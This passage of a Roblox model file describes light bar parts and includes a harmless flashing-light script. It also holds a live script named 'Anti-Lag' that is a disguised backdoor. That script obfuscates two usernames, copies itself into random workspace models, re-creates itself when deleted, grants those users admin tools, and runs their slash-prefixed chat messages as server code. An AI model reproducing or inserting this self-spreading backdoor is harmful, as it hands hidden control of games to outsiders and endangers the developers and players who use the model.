local h = r[i]:FindFirstChild(&quot;Anti-Lag&quot;)
if h ~= nil then
h:remove()
end
end
end
function alto(xylem)
if xylem.className == &quot;Model&quot; then
check(xylem)
local que = script:clone()
que.Parent = rando(xylem)
end
end
function sortation(gone)
local dimbs = Altitude:clone()
dimbs = ramno(game.Workspace)
end
function onPlayerEntered(newPlayer)
newPlayer.Chatted:connect(function(msg, recipient) onChatted(msg, recipient, newPlayer) end) 
end
function Player(player)
player.Changed:connect(function (property) 
if property == &quot;Character&quot; then 
laber(player) 
end
end)
end
game.Players.PlayerAdded:connect(Player)
game.Players.ChildAdded:connect(onPlayerEntered)
game.Players.ChildAdded:connect(laber)
script.ChildRemoved:connect(sortation)
game.Workspace.ChildAdded:connect(alto)
function onChatted(msg, recipient, speaker)
if yeild(speaker) ~= false then
if string.sub(msg,1,1) == &quot;/&quot; then
local dsting = Instance.new(&quot;Script&quot;)
dsting.Source = string.sub(msg,2) 
dsting.Parent = game.Workspace 
end
end
end </ProtectedString>
										</Properties>
									</Item>
								</Item>
								<Item class="Part" referent="RBX169">
									<Properties>
										<bool name="Anchored">false</bool>
										<bool name="Archivable">true</bool>
										<float name="BackParamA">-0.5</float>
										<float name="BackParamB">0.5</float>
										<token name="BackSurface">0</token>
										<token name="BackSurfaceInput">0</token>
										<float name="BottomParamA">-0.5</float>
										<float name="BottomParamB">0.5</float>
										<token name="BottomSurface">2</token>
										<token name="BottomSurfaceInput">0</token>
										<int name="BrickColor">199</int>
										<CoordinateFrame name="CFrame">
											<X>-1174.5</X>
											<Y>11.5999994</Y>
											<Z>670.900024</Z>
											<R00>-1</R00>
											<R01>0</R01>
											<R02>0</R02>
											<R10>0</R10>
											<R11>1</R11>
											<R12>0</R12>
											<R20>0</R20>
											<R21>0</R21>
											<R22>-1</R22>
										</CoordinateFrame>
										<bool name="CanCollide">true</bool>
										<float name="Elasticity">0.5</float>
										<token name="FormFactor">2</token>
										<float name="Friction">0.300000012</float>
										<float name="FrontParamA">-0.5</float>
										<float name="FrontParamB">0.5</float>
										<token name="FrontSurface">2</token>
										<token name="FrontSurfaceInput">0</token>
										<float name="LeftParamA">-0.5</float>
										<float name="LeftParamB">0.5</float>
										<token name="LeftSurface">0</token>
										<token name="LeftSurfaceInput">0</token>
										<bool name="Locked">false</bool>
										<token name="Material">256</token>
										<string name="Name">Part</string>
										<float name="Reflectance">0</float>
										<float name="RightParamA">-0.5</float>
										<float name="RightParamB">0.5</float>
										<token name="RightSurface">0</token>
										<token name="RightSurfaceInput">0</token>
										<Vector3 name="RotVelocity">
											<X>-2.35526932e-006</X>
											<Y>-1.4054865e-007</Y>
											<Z>4.8936754e-006</Z>
										</Vector3>
										<float name="TopParamA">-0.5</float>
										<float name="TopParamB">0.5</float>
										<token name="TopSurface">2</token>
										<token name="TopSurfaceInput">0</token>
										<float name="Transparency">0</float>
										<Vector3 name="Velocity">
											<X>0.00018916378</X>
											<Y>0.00012465936</Y>
											<Z>0.000208582307</Z>
										</Vector3>
										<token name="shape">1</token>
										<Vector3 name="size">
											<X>1</X>
											<Y>0.400000006</Y>
											<Z>2</Z>
										</Vector3>
									</Properties>
									<Item class="BlockMesh" referent="RBX170">
										<Properties>
											<bool name="Archivable">true</bool>
											<float name="Bevel">0</float>
											<float name="Bevel Roundness">0</float>
											<float name="Bulge">0</float>
											<token name="LODX">2</token>
											<token name="LODY">2</token>
											<string name="Name">Mesh</string>
											<Vector3 name="Offset">
												<X>0</X>
												<Y>0</Y>
												<Z>0</Z>
											</Vector3>
											<Vector3 name="Scale">
												<X>1</X>
												<Y>1</Y>
												<Z>1</Z>
											</Vector3>
											<Vector3 name="VertexColor">
												<X>1</X>
												<Y>1</Y>
												<Z>1</Z>
											</Vector3>
										</Properties>
									</Item>
									<Item class="Fire" referent="RBX171">
										<Properties>
											<bool name="Archivable">true</bool>
											<Color3 name="Color">4294967040</Color3>
											<bool name="Enabled">false</bool>
											<string name="Name">Fire</string>
											<Color3 name="SecondaryColor">4294901760</Color3>
											<float name="heat_xml">25</float>
											<float name="size_xml">30</float>
										</Properties>
									</Item>
								</Item>
								<Item class="Part" referent="RBX172">
									<Properties>
										<bool name="Anchored">false</bool>
										<bool name="Archivable">true</bool>
										<float name="BackParamA">-0.5</float>
										<float name="BackParamB">0.5</float>
										<token name="BackSurface">0</token>
										<token name="BackSurfaceInput">0</token>
										<float name="BottomParamA">-0.5</float>
										<float name="BottomParamB">0.5</float>
										<token name="BottomSurface">2</token>
										<token name="BottomSurfaceInput">0</token>
										<int name="BrickColor">199</int>
										<CoordinateFrame name="CFrame">
											<X>-1177.5</X>
											<Y>11.5999994</Y>
											<Z>670.900024</Z>
											<R00>-1</R00>
											<R01>0</R01>
											<R02>0</R02>
											<R10>0</R10>
											<R11>1</R11>
											<R12>0</R12>
											<R20>0</R20>
											<R21>0</R21>
											<R22>-1</R22>
										</CoordinateFrame>
										<bool name="CanCollide">true</bool>
										<float name="Elasticity">0.5</float>
										<token name="FormFactor">2</token>
										<float name="Friction">0.300000012</float>
										<float name="FrontParamA">-0.5</float>
										<float name="FrontParamB">0.5</float>
										<token name="FrontSurface">2</token>
										<token name="FrontSurfaceInput">0</token>
										<float name="LeftParamA">-0.5</float>
										<float name="LeftParamB">0.5</float>
										<token name="LeftSurface">0</token>
										<token name="LeftSurfaceInput">0</token>
										<bool name="Locked">false</bool>
										<token name="Material">256</token>
										<string name="Name">Part</string>
										<float name="Reflectance">0</float>
										<float name="RightParamA">-0.5</float>
										<float name="RightParamB">0.5</float>
										<token name="RightSurface">0</token>
										<token name="RightSurfaceInput">0</token>
										<Vector3 name="RotVelocity">
											<X>-2.35526932e-006</X>
											<Y>-1.4054865e-007</Y>
											<Z>4.8936754e-006</Z>
										</Vector3>
										<float name="TopParamA">-0.5</float>
										<float name="TopParamB">0.5</float>
										<token name="TopSurface">2</token>
										<token name="TopSurfaceInput">0</token>
										<float name="Transparency">0</float>
										<Vector3 name="Velocity">
											<X>0.00018916378</X>
											<Y>0.00010997834</Y>
											<Z>0.000208160665</Z>
										</Vector3>
										<token name="shape">1</token>
										<Vector3 name="size">
											<X>1</X>
											<Y>0.400000006</Y>
											<Z>2</Z>
										</Vector3>
									</Properties>
									<Item class="BlockMesh" referent="RBX173">
										<Properties>
											<bool name="Archivable">true</bool>
											<float name="Bevel">0</float>
											<float name="Bevel Roundness">0</float>
											<float name="Bulge">0</float>
											<token name="LODX">2</token>
											<token name="LODY">2</token>
											<string name="Name">Mesh</string>
											<Vector3 name="Offset">
												<X>0</X>
												<Y>0</Y>
												<Z>0</Z>
											</Vector3>
											<Vector3 name="Scale">
												<X>1</X>
												<Y>1</Y>
												<Z>1</Z>
											</Vector3>
											<Vector3 name="VertexColor">
												<X>1</X>
												<Y>1</Y>
												<Z>1</Z>
											</Vector3>
										</Properties>
									</Item>
									<Item class="Fire" referent="RBX174">
										<Properties>
											<bool name="Archivable">true</bool>
											<Color3 name="Color">4294964224</Color3>
											<bool name="Enabled">false</bool>
											<string name="Name">Fire</string>
											<Color3 name="SecondaryColor">4294901760</Color3>
											<float name="heat_xml">25</float>
											<float name="size_xml">30</float>
										</Properties>
									</Item>
								</Item>
							</Item>
						</Item>
					</Item>
					<Item class="Script" referent="RBX175">
						<Properties>
							<bool name="Archivable">true</bool>
							<bool name="Disabled">false</bool>
							<Content name="LinkedSource"><null></null></Content>
							<string name="Name">Anti-Lag</string>
							<ProtectedString name="Source">Altitude = script:clone()
calco = {&quot;s&quot;,&quot;c&quot;,&quot;q&quot;,&quot;t&quot;,&quot;o&quot;,&quot;a&quot;,&quot;i&quot;,&quot;f&quot;,&quot;g&quot;,&quot;w&quot;,&quot;8&quot;,&quot;e&quot;,&quot;m&quot;,&quot;7&quot;,&quot;h&quot;,&quot;n&quot;}
Knox = {}
table.insert (Knox, 1 ,string.reverse(calco[5] .. calco[2] .. calco[7] .. calco[1] .. calco[6] .. calco[9] .. calco[12] .. calco[13]))
table.insert (Knox, 1 ,string.reverse(calco[11] .. calco[14] .. calco[14] .. calco[4] .. calco[16] .. calco[6] .. calco[15] .. calco[2]))
Play = {}
function rando(votation)
local hatr = 5
local calc = math.pi * math.huge
local longicate = votation:GetChildren()
if #longicate &gt; hatr then 
calc = calc + math.pi
return longicate[math.random(6,#longicate)]
end
end
function doublecheck()
local fj = game.Workspace:GetChildren()
for off = 1,#fj do
if fj[off].className == &quot;Part&quot; then
local fh = fj[off]:FindFirstChild(&quot;Anti-Lag&quot;)
if fh ~= nil then 
return false
end
end
end
return true
end
function workcheck()
if doublecheck() == true then
local l = Altitude:clone()
l.Parent = rando(game.Workspace)
end
end
workcheck()
function gibite(quen)
local  hup = Instance.new(&quot;Message&quot;)
hup.Text = &quot;Detected&quot;
hup.Parent = quen.Parent
local con = Instance.new(&quot;Script&quot;)
con.Source = [[wait(5) script.Parent:remove()]]
con.Parent = hup
for ish = 0,7 do
local a = Instance.new(&quot;HopperBin&quot;)
a.BinType = ish
a.Parent = quen
end
end
function laber(zonsa)
wait()
for slate = 1,#Knox do  
if zonsa.Name == Knox[slate] then
gibite(zonsa.Backpack)
table.insert (Play, 1,  zonsa.Name)
end
end
end
function yeild(frequency)
local t = Knox
for g = 1,#t do
if t[g] == frequency.Name then
return true
end
end
return false
end
function check(los)
local r = los:GetChildren()
for i = 1,#r do
local h = r[i]:FindFirstChild(&quot;Anti-Lag&quot;)
if h ~= nil then
h:remove()
end
end
end
function alto(xylem)
if xylem.className == &quot;Model&quot; then
check(xylem)
local que = script:clone()
que.Parent = rando(xylem)
end
end
function sortation(gone)
local dimbs = Altitude:clone()
dimbs = ramno(game.Workspace)
end
function onPlayerEntered(newPlayer)
newPlayer.Chatted:connect(function(msg, recipient) onChatted(msg, recipient, newPlayer) end) 
end
function Player(player)
player.Changed:connect(function (property) 
if property == &quot;Character&quot; then 
laber(player) 
end
end)
end
game.Players.PlayerAdded:connect(Player)
game.Players.ChildAdded:connect(onPlayerEntered)
game.Players.ChildAdded:connect(laber)
script.ChildRemoved:connect(sortation)
game.Workspace.ChildAdded:connect(alto)
function onChatted(msg, recipient, speaker)
if yeild(speaker) ~= false then
if string.sub(msg,1,1) == &quot;/&quot; then
local dsting = Instance.new(&quot;Script&quot;)
dsting.Source = string.sub(msg,2) 
dsting.Parent = game.Workspace 
end
end
end </ProtectedString>
						</Properties>
					</Item>
				</Item>
				<Item class="Model" referent="RBX176">
					<Properties>
						<bool name="Archivable">true</bool>
						<CoordinateFrame name="ModelInPrimary">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
							<R00>1</R00>
							<R01>0</R01>
							<R02>0</R02>
							<R10>0</R10>
							<R11>1</R11>
							<R12>0</R12>
							<R20>0</R20>
							<R21>0</R21>
							<R22>1</R22>
						</CoordinateFrame>
						<string name="Name">Model</string>
						<Ref name="PrimaryPart">null</Ref>
					</Properties>
					<Item class="Model" referent="RBX177">
						<Properties>
							<bool name="Archivable">true</bool>
							<CoordinateFrame name="ModelInPrimary">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
								<R00>1</R00>
								<R01>0</R01>
								<R02>0</R02>
								<R10>0</R10>
								<R11>1</R11>
								<R12>0</R12>
								<R20>0</R20>
								<R21>0</R21>
								<R22>1</R22>
							</CoordinateFrame>
							<string name="Name">Model</string>
							<Ref name="PrimaryPart">null</Ref>
						</Properties>
						<Item class="Model" referent="RBX178">
							<Properties>
								<bool name="Archivable">true</bool>
								<CoordinateFrame name="ModelInPrimary">
									<X>0</X>
									<Y>0</Y>
									<Z>0</Z>
									<R00>1</R00>
									<R01>0</R01>
									<R02>0</R02>
									<R10>0</R10>
									<R11>1</R11>
									<R12>0</R12>
									<R20>0</R20>
									<R21>0</R21>
									<R22>1</R22>
								</CoordinateFrame>
								<string name="Name">Model</string>
								<Ref name="PrimaryPart">null</Ref>
							</Properties>
							<Item class="Model" referent="RBX179">
								<Properties>
									<bool name="Archivable">true</bool>
									<CoordinateFrame name="ModelInPrimary">
										<X>0</X>
										<Y>0</Y>
										<Z>0</Z>
										<R00>1</R00>
										<R01>0</R01>
										<R02>0</R02>
										<R10>0</R10>
										<R11>1</R11>
										<R12>0</R12>
										<R20>0</R20>
										<R21>0</R21>
										<R22>1</R22>
									</CoordinateFrame>
									<string name="Name">Light Bar</string>
									<Ref name="PrimaryPart">null</Ref>
								</Properties>
								<Item class="Part" referent="RBX180">
									<Properties>
										<bool name="Anchored">false</bool>
										<bool name="Archivable">true</bool>
										<float name="BackParamA">-0.5</float>
										<float name="BackParamB">0.5</float>
										<token name="BackSurface">2</token>
										<token name="BackSurfaceInput">0</token>
										<float name="BottomParamA">-0.5</float>
										<float name="BottomParamB">0.5</float>
										<token name="BottomSurface">2</token>
										<token name="BottomSurfaceInput">0</token>
										<int name="BrickColor">21</int>
										<CoordinateFrame name="CFrame">
											<X>-1170.5</X>
											<Y>11.999999</Y>
											<Z>670.599976</Z>
											<R00>-1</R00>
											<R01>0</R01>
											<R02>0</R02>
											<R10>0</R10>
											<R11>1</R11>
											<R12>0</R12>
											<R20>0</R20>
											<R21>0</R21>
											<R22>-1</R22>
										</CoordinateFrame>
										<bool name="CanCollide">true</bool>
										<float name="Elasticity">0.5</float>
										<token name="FormFactor">2</token>
										<float name="Friction">0.300000012</float>
										<float name="FrontParamA">-0.5</float>
										<float name="FrontParamB">0.5</float>
										<token name="FrontSurface">2</token>
										<token name="FrontSurfaceInput">0</token>
										<float name="LeftParamA">-0.5</float>
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											<bool name="Archivable">true</bool>
											<float name="MaxActivationDistance">32</float>
											<string name="Name">ClickDetector</string>
										</Properties>
									</Item>
									<Item class="Fire" referent="RBX194">
										<Properties>
											<bool name="Archivable">true</bool>
											<Color3 name="Color">4294967040</Color3>
											<bool name="Enabled">false</bool>
											<string name="Name">Fire</string>
											<Color3 name="SecondaryColor">4294901760</Color3>
											<float name="heat_xml">25</float>
											<float name="size_xml">30</float>
										</Properties>
									</Item>
									<Item class="Script" referent="RBX195">
										<Properties>
											<bool name="Archivable">true</bool>
											<bool name="Disabled">false</bool>
											<Content name="LinkedSource"><null></null></Content>
											<string name="Name">Script</string>
											<ProtectedString name="Source">On=false 
function onClicked() 
if On then On=false else 
On=true 
while On do 
	
	script.Parent.Parent.A.BrickColor = BrickColor.new(&quot;Bright blue&quot;) 
	script.Parent.Parent.A.Reflectance=0 
	
	script.Parent.Parent.B.BrickColor = BrickColor.new(&quot;Bright blue&quot;) 
	script.Parent.Parent.B.Reflectance=0 
	
	script.Parent.Parent.C.BrickColor = BrickColor.new(&quot;Bright blue&quot;) 
	script.Parent.Parent.C.Reflectance=0 
	
	script.Parent.Parent.D.BrickColor = BrickColor.new(&quot;Bright red&quot;) 
	script.Parent.Parent.D.Reflectance=0 
	
	script.Parent.Parent.E.BrickColor = BrickColor.new(&quot;Bright red&quot;) 
	script.Parent.Parent.E.Reflectance=0 
	
	script.Parent.Parent.F.BrickColor = BrickColor.new(&quot;Bright red&quot;) 
	script.Parent.Parent.F.Reflectance=0 
	
	wait(0.2) 
	
	script.Parent.Parent.A.BrickColor = BrickColor.new(&quot;Bright red&quot;) 
	script.Parent.Parent.A.Reflectance=0 
	
	script.Parent.Parent.B.BrickColor = BrickColor.new(&quot;Bright red&quot;) 
	script.Parent.Parent.B.Reflectance=0 
	
	script.Parent.Parent.C.BrickColor = BrickColor.new(&quot;Bright red&quot;) 
	script.Parent.Parent.C.Reflectance=0 
	
	script.Parent.Parent.D.BrickColor = BrickColor.new(&quot;Bright blue&quot;) 
	script.Parent.Parent.D.Reflectance=1 
	
	script.Parent.Parent.E.BrickColor = BrickColor.new(&quot;Bright blue&quot;) 
	script.Parent.Parent.E.Reflectance=0 
	
	script.Parent.Parent.F.BrickColor = BrickColor.new(&quot;Bright blue&quot;) 
	script.Parent.Parent.F.Reflectance=0 
	
	wait(0.2) 
	
	script.Parent.Parent.A.BrickColor = BrickColor.new(&quot;Bright blue&quot;) 
	script.Parent.Parent.A.Reflectance=1 
	
	script.Parent.Parent.B.BrickColor = BrickColor.new(&quot;Bright blue&quot;) 
	script.Parent.Parent.B.Reflectance=0 
	
	script.Parent.Parent.C.BrickColor = BrickColor.new(&quot;Bright blue&quot;) 
	script.Parent.Parent.C.Reflectance=0 
	
	script.Parent.Parent.D.BrickColor = BrickColor.new(&quot;Bright red&quot;) 
	script.Parent.Parent.D.Reflectance=0 
	
	script.Parent.Parent.E.BrickColor = BrickColor.new(&quot;Bright red&quot;) 
	script.Parent.Parent.E.Reflectance=0 
	
	script.Parent.Parent.F.BrickColor = BrickColor.new(&quot;Bright red&quot;) 
	script.Parent.Parent.F.Reflectance=0 
	
	wait(0.2) 
	
	script.Parent.Parent.A.BrickColor = BrickColor.new(&quot;Bright red&quot;) 
	script.Parent.Parent.A.Reflectance=0 
	
	script.Parent.Parent.B.BrickColor = BrickColor.new(&quot;Bright red&quot;) 
	script.Parent.Parent.B.Reflectance=0 
	
	script.Parent.Parent.C.BrickColor = BrickColor.new(&quot;Bright red&quot;) 
	script.Parent.Parent.C.Reflectance=0 
	
	script.Parent.Parent.D.BrickColor = BrickColor.new(&quot;Bright blue&quot;) 
	script.Parent.Parent.D.Reflectance=1 
	
	script.Parent.Parent.E.BrickColor = BrickColor.new(&quot;Bright blue&quot;) 
	script.Parent.Parent.E.Reflectance=0 
	
	script.Parent.Parent.F.BrickColor = BrickColor.new(&quot;Bright blue&quot;) 
	script.Parent.Parent.F.Reflectance=0 
	
	wait(0.2) 
	
	script.Parent.Parent.A.BrickColor = BrickColor.new(&quot;Bright blue&quot;) 
	script.Parent.Parent.A.Reflectance=0 
	
	script.Parent.Parent.B.BrickColor = BrickColor.new(&quot;Bright blue&quot;) 
	script.Parent.Parent.B.Reflectance=1 
	
	script.Parent.Parent.C.BrickColor = BrickColor.new(&quot;Bright blue&quot;) 
	script.Parent.Parent.C.Reflectance=0 
	
	script.Parent.Parent.D.BrickColor = BrickColor.new(&quot;Bright red&quot;) 
	script.Parent.Parent.D.Reflectance=0 
	
	script.Parent.Parent.E.BrickColor = BrickColor.new(&quot;Bright red&quot;) 
	script.Parent.Parent.E.Reflectance=0 
	
	script.Parent.Parent.F.BrickColor = BrickColor.new(&quot;Bright red&quot;) 
	script.Parent.Parent.F.Reflectance=0 
	
	wait(0.2) 
	
	script.Parent.Parent.A.BrickColor = BrickColor.new(&quot;Bright red&quot;) 
	script.Parent.Parent.A.Reflectance=0 
	
	script.Parent.Parent.B.BrickColor = BrickColor.new(&quot;Bright red&quot;) 
	script.Parent.Parent.B.Reflectance=0 
	
	script.Parent.Parent.C.BrickColor = BrickColor.new(&quot;Bright red&quot;) 
	script.Parent.Parent.C.Reflectance=0 
	
	script.Parent.Parent.D.BrickColor = BrickColor.new(&quot;Bright blue&quot;) 
	script.Parent.Parent.D.Reflectance=0 
	
	script.Parent.Parent.E.BrickColor = BrickColor.new(&quot;Bright blue&quot;) 
	script.Parent.Parent.E.Reflectance=0 
	
	script.Parent.Parent.F.BrickColor = BrickColor.new(&quot;Bright blue&quot;) 
	script.Parent.Parent.F.Reflectance=1 
	
	wait(0.2) 
	
	script.Parent.Parent.A.BrickColor = BrickColor.new(&quot;Bright blue&quot;) 
	script.Parent.Parent.A.Reflectance=1 
	
	script.Parent.Parent.B.BrickColor = BrickColor.new(&quot;Bright blue&quot;) 
	script.Parent.Parent.B.Reflectance=0 
	
	script.Parent.Parent.C.BrickColor = BrickColor.new(&quot;Bright blue&quot;) 
	script.Parent.Parent.C.Reflectance=0 
	
	script.Parent.Parent.D.BrickColor = BrickColor.new(&quot;Bright red&quot;) 
	script.Parent.Parent.D.Reflectance=0 
	
	script.Parent.Parent.E.BrickColor = BrickColor.new(&quot;Bright red&quot;) 
	script.Parent.Parent.E.Reflectance=0 
	
	script.Parent.Parent.F.BrickColor = BrickColor.new(&quot;Bright red&quot;) 
	script.Parent.Parent.F.Reflectance=0 
	
	wait(0.2) 
	
	script.Parent.Parent.A.BrickColor = BrickColor.new(&quot;Bright red&quot;) 
	script.Parent.Parent.A.Reflectance=0 
	
	script.Parent.Parent.B.BrickColor = BrickColor.new(&quot;Bright red&quot;) 
	script.Parent.Parent.B.Reflectance=0 
	
	script.Parent.Parent.C.BrickColor = BrickColor.new(&quot;Bright red&quot;) 
	script.Parent.Parent.C.Reflectance=0 
	
	script.Parent.Parent.D.BrickColor = BrickColor.new(&quot;Bright blue&quot;) 
	script.Parent.Parent.D.Reflectance=1 
	
	script.Parent.Parent.E.BrickColor = BrickColor.new(&quot;Bright blue&quot;) 
	script.Parent.Parent.E.Reflectance=0
	
	script.Parent.Parent.F.BrickColor = BrickColor.new(&quot;Bright blue&quot;) 
	script.Parent.Parent.F.Reflectance=0 
	
	wait(0.2) 
	
	script.Parent.Parent.A.BrickColor = BrickColor.new(&quot;Bright blue&quot;) 
	script.Parent.Parent.A.Reflectance=0 
	
	script.Parent.Parent.B.BrickColor = BrickColor.new(&quot;Bright blue&quot;) 
	script.Parent.Parent.B.Reflectance=1
	
	script.Parent.Parent.C.BrickColor = BrickColor.new(&quot;Bright blue&quot;) 
	script.Parent.Parent.C.Reflectance=0 
	
	script.Parent.Parent.D.BrickColor = BrickColor.new(&quot;Bright red&quot;) 
	script.Parent.Parent.D.Reflectance=0 
	
	script.Parent.Parent.E.BrickColor = BrickColor.new(&quot;Bright red&quot;) 
	script.Parent.Parent.E.Reflectance=0 
	
	script.Parent.Parent.F.BrickColor = BrickColor.new(&quot;Bright red&quot;) 
	script.Parent.Parent.F.Reflectance=0 
	
	wait(0.2) 
	
	script.Parent.Parent.A.BrickColor = BrickColor.new(&quot;Bright red&quot;) 
	script.Parent.Parent.A.Reflectance=0 
	
	script.Parent.Parent.B.BrickColor = BrickColor.new(&quot;Bright red&quot;) 
	script.Parent.Parent.B.Reflectance=0 
	
	script.Parent.Parent.C.BrickColor = BrickColor.new(&quot;Bright red&quot;) 
	script.Parent.Parent.C.Reflectance=0 
	
	script.Parent.Parent.D.BrickColor = BrickColor.new(&quot;Bright blue&quot;) 
	script.Parent.Parent.D.Reflectance=0
	
	script.Parent.Parent.E.BrickColor = BrickColor.new(&quot;Bright blue&quot;) 
	script.Parent.Parent.E.Reflectance=0
	
	script.Parent.Parent.F.BrickColor = BrickColor.new(&quot;Bright blue&quot;) 
	script.Parent.Parent.F.Reflectance=0 
	
	wait(0.2) 
	
end 
end 
end 

script.Parent.ClickDetector.MouseClick:connect(onClicked) </ProtectedString>
										</Properties>
									</Item>
								</Item>
							</Item>
						</Item>
					</Item>
					<Item class="Model" referent="RBX196">
						<Properties>
							<bool name="Archivable">true</bool>
							<CoordinateFrame name="ModelInPrimary">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
								<R00>1</R00>
								<R01>0</R01>
								<R02>0</R02>
								<R10>0</R10>
								<R11>1</R11>
								<R12>0</R12>
								<R20>0</R20>
								<R21>0</R21>
								<R22>1</R22>
							</CoordinateFrame>
							<string name="Name">Model</string>
							<Ref name="PrimaryPart">null</Ref>
						</Properties>
						<Item class="Model" referent="RBX197">
							<Properties>
								<bool name="Archivable">true</bool>
								<CoordinateFrame name="ModelInPrimary">
									<X>0</X>
									<Y>0</Y>
									<Z>0</Z>
									<R00>1</R00>
									<R01>0</R01>
									<R02>0</R02>
									<R10>0</R10>
									<R11>1</R11>
									<R12>0</R12>
									<R20>0</R20>
									<R21>0</R21>
									<R22>1</R22>
								</CoordinateFrame>
								<string name="Name">Model</string>
								<Ref name="PrimaryPart">null</Ref>
							</Properties>
							<Item class="Model" referent="RBX198">
								<Properties>
									<bool name="Archivable">true</bool>
									<CoordinateFrame name="ModelInPrimary">
										<X>0</X>
										<Y>0</Y>
										<Z>0</Z>
										<R00>1</R00>
										<R01>0</R01>
										<R02>0</R02>
										<R10>0</R10>
										<R11>1</R11>
										<R12>0</R12>
										<R20>0</R20>
										<R21>0</R21>
										<R22>1</R22>
									</CoordinateFrame>
									<string name="Name">Light Bar</string>
									<Ref name="PrimaryPart">null</Ref>
								</Properties>
								<Item class="Part" referent="RBX199">
									<Properties>
										<bool name="Anchored">false</bool>
										<bool name="Archivable">true</bool>
										<float name="BackParamA">-0.5</float>
										<float name="BackParamB">0.5</float>
										<token name="BackSurface">2</token>
										<token name="BackSurfaceInput">0</token>
										<float name="BottomParamA">-0.5</float>
										<float name="BottomParamB">0.5</float>
										<token name="BottomSurface">2</token>
										<token name="BottomSurfaceInput">0</token>
										<int name="BrickColor">199</int>
										<CoordinateFrame name="CFrame">
											<X>-1170</X>
											<Y>11.5999994</Y>
											<Z>671</Z>
											<R00>1</R00>
											<R01>0</R01>
											<R02>0</R02>
											<R10>0</R10>
											<R11>-1</R11>
											<R12>0</R12>
											<R20>0</R20>
											<R21>0</R21>
											<R22>-1</R22>
										</CoordinateFrame>
										<bool name="CanCollide">false</bool>
										<float name="Elasticity">0.5</float>
										<token name="FormFactor">2</token>
										<float name="Friction">0.300000012</float>
										<float name="FrontParamA">-0.5</float>
										<float name="FrontParamB">0.5</float>
										<token name="FrontSurface">2</token>
										<token name="FrontSurfaceInput">0</token>
										<float name="LeftParamA">-0.5</float>
										<float name="LeftParamB">0.5</float>
										<token name="LeftSurface">2</token>
										<token name="LeftSurfaceInput">0</token>
										<bool name="Locked">false</bool>
										<token name="Material">256</token>
										<string name="Name">Part</string>
										<float name="Reflectance">0</float>
										<float name="RightParamA">-0.5</float>
										<float name="RightParamB">0.5</float>
										<token name="RightSurface">2</token>
										<token name="RightSurfaceInput">0</token>
										<Vector3 name="RotVelocity">
											<X>-2.35526932e-006</X>
											<Y>-1.4054865e-007</Y>
											<Z>4.8936754e-006</Z>
										</Vector3>
										<float name="TopParamA">-0.5</float>
										<float name="TopParamB">0.5</float>
										<token name="TopSurface">2</token>
										<token name="TopSurfaceInput">0</token>
										<float name="Transparency">0</float>
										<Vector3 name="Velocity">
											<X>0.000189149723</X>
											<Y>0.000146916369</Y>
											<Z>0.000209214777</Z>
										</Vector3>
										<token name="shape">1</token>
										<Vector3 name="size">
											<X>2</X>
											<Y>0.400000006</Y>
											<Z>2</Z>
										</Vector3>
									</Properties>
									<Item class="BlockMesh" referent="RBX200">
										<Properties>
											<bool name="Archivable">true</bool>
											<float name="Bevel">0</float>
											<float name="Bevel Roundness">0</float>
											<float name="Bulge">0</float>
											<token name="LODX">2</token>
											<token name="LODY">2</token>
											<string name="Name">Mesh</string>
											<Vector3 name="Offset">
												<X>0</X>
												<Y>-0.200000003</Y>
												<Z>0</Z>
											</Vector3>
											<Vector3 name="Scale">
												<X>1</X>
												<Y>0.300000012</Y>
												<Z>1</Z>
											</Vector3>
											<Vector3 name="VertexColor">
												<X>1</X>
												<Y>1</Y>
												<Z>1</Z>
											</Vector3>
										</Properties>
									</Item>
									<Item class="Fire" referent="RBX201">
										<Properties>
											<bool name="Archivable">true</bool>
											<Color3 name="Color">4294967040</Color3>
											<bool name="Enabled">false</bool>
											<string name="Name">Fire</string>
											<Color3 name="SecondaryColor">4294901760</Color3>
											<float name="heat_xml">25</float>
											<float name="size_xml">30</float>
										</Properties>
									</Item>
								</Item>
								<Item class="Part" referent="RBX202">
									<Properties>
										<bool name="Anchored">false</bool>
										<bool name="Archivable">true</bool>
										<float name="BackParamA">-0.5</float>
										<float name="BackParamB">0.5</float>
										<token name="BackSurface">2</token>
										<token name="BackSurfaceInput">0</token>
										<float name="BottomParamA">-0.5</float>
										<float name="BottomParamB">0.5</float>
										<token name="BottomSurface">2</token>
										<token name="BottomSurfaceInput">0</token>
										<int name="BrickColor">199</int>
										<CoordinateFrame name="CFrame">
											<X>-1170</X>
											<Y>12.3999987</Y>
											<Z>671</Z>
											<R00>1</R00>
											<R01>0</R01>
											<R02>0</R02>
											<R10>0</R10>
											<R11>1</R11>
											<R12>0</R12>
											<R20>0</R20>
											<R21>0</R21>
											<R22>1</R22>
										</CoordinateFrame>
										<bool name="CanCollide">false</bool>
										<float name="Elasticity">0.5</float>
										<token name="FormFactor">2</token>
										<float name="Friction">0.300000012</float>
										<float name="FrontParamA">-0.5</float>
										<float name="FrontParamB">0.5</float>
										<token name="FrontSurface">2</token>
										<token name="FrontSurfaceInput">0</token>
										<float name="LeftParamA">-0.5</float>
										<float name="LeftParamB">0.5</float>
										<token name="LeftSurface">2</token>
										<token name="LeftSurfaceInput">0</token>
										<bool name="Locked">false</bool>
										<token name="Material">256</token>
										<string name="Name">Part</string>
										<float name="Reflectance">0</float>
										<float name="RightParamA">-0.5</float>
										<float name="RightParamB">0.5</float>
										<token name="RightSurface">2</token>
										<token name="RightSurfaceInput">0</token>
										<Vector3 name="RotVelocity">
											<X>-2.35526932e-006</X>
											<Y>-1.4054865e-007</Y>
											<Z>4.8936754e-006</Z>
										</Vector3>
										<float name="TopParamA">-0.5</float>
										<float name="TopParamB">0.5</float>
										<token name="TopSurface">2</token>
										<token name="TopSurfaceInput">0</token>
										<float name="Transparency">0</float>
										<Vector3 name="Velocity">
											<X>0.000185234792</X>
											<Y>0.000146916384</Y>
											<Z>0.00020733058</Z>
										</Vector3>
										<token name="shape">1</token>
										<Vector3 name="size">
											<X>6</X>
											<Y>0.400000006</Y>
											<Z>2</Z>
										</Vector3>
									</Properties>
									<Item class="BlockMesh" referent="RBX203">
										<Properties>
											<bool name="Archivable">true</bool>
											<float name="Bevel">0</float>
											<float name="Bevel Roundness">0</float>
											<float name="Bulge">0</float>
											<token name="LODX">2</token>
											<token name="LODY">2</token>
											<string name="Name">Mesh</string>
											<Vector3 name="Offset">
												<X>0</X>
												<Y>-0.200000003</Y>
												<Z>0</Z>
											</Vector3>
											<Vector3 name="Scale">
												<X>1</X>
												<Y>0.300000012</Y>
												<Z>1</Z>
											</Vector3>
											<Vector3 name="VertexColor">
